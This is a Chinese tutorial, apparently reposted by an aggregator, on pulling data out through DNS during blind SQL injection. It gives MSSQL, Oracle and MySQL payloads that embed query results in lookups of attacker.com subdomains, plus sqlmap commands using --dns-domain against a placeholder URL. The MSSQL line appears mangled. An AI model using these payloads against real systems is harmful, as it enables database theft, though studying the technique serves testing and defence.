如何在SQL注入中使用DNS技术获取数据
Posted Le想安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何在SQL注入中使用DNS技术获取数据相关的知识,希望对你有一定的参考价值。
我们知道几乎每个DBMS都提供了一种执行DNS查询,接收相应的方法。假设我们有一个存在漏洞的WEB服务器,他存在SQL注入漏洞(基于时间的盲注),我们如果使用SQLMAP来获取数据会是一个非常漫长的过程,而且如果网络环境不好网络存在延迟的情况下,我们获得数据会非常非常的慢。但是如果我们使用DNS技术来获取数据,我们就不需要检查服务器的http响应。可以很快的将数据捕获。
现在我们介绍一下最关键的部分:
如何在SQL中执行DNS查询,不同的DBMS要执行不同的语句,暂时没有一个通用的方法适配所有的DBMS。
1.MsSQL:在MsSQL中我们可以使用master.dbo.xp_dirtree来执行DNS查询,该操作是将文件放在目录下,并且可以通过远程访问,这样我们就可以让我们的域运行并且获得结果。
1)DECLARE @data varchar(1024);
2)SELECT @data = (SELECT foo FROM bar);
3)EXEC('master..xp_dirtree "\'+@data+'.attacker.comfoo$"');
2.在oracle中有
UTL_INADDR.GET_HOST_ADDRESS,UTL_HTTP.REQUEST,HTTP_URITYPE.GETCLOB and DBMS_LDAP.INIT 这些函数没一个都用来执行名称解析,示例如下:
SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80) FROM DUAL;
3. 在mysql中LOAD_FILE可用于域名解析。
SELECT LOAD_FILE(CONCAT('\\', (SELECT foo FROM bar), '.attacker.com'));
如何在SQLmap中使用DNS技术获取数据
正常情况下我们使用SQLmap来注基于时间的盲注这种注入执行如下语句:
sqlmap -u 'http://xxxxxxx/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3
大概获取数据库名30字符左右即便网络很快的情况下,也大概要需要5分钟的时间来获取。
使用DNS技术获取数据:
sqlmap -u 'http://xxxxxxx/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online
在上面的语句中添加--dns-domain后面接我们的DNS域名
我们只需要10秒左右的时间便可以获取30个字符左右的数据。
使用TCPdump可以查看在注入时都使用了什么样的查询。
tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53'
结果如下:
我们可以看到,sqlmap将查询响应放在两个随机字符串之间,并将我们的域名附加上去执行dns请求。之后,在这些随机字符串的帮助下,它可以了解哪个请求响应生成了结果。
今天就说到这里吧,欢迎大家一起学习讨论。
以上是关于如何在SQL注入中使用DNS技术获取数据的主要内容,如果未能解决你的问题,请参考以下文章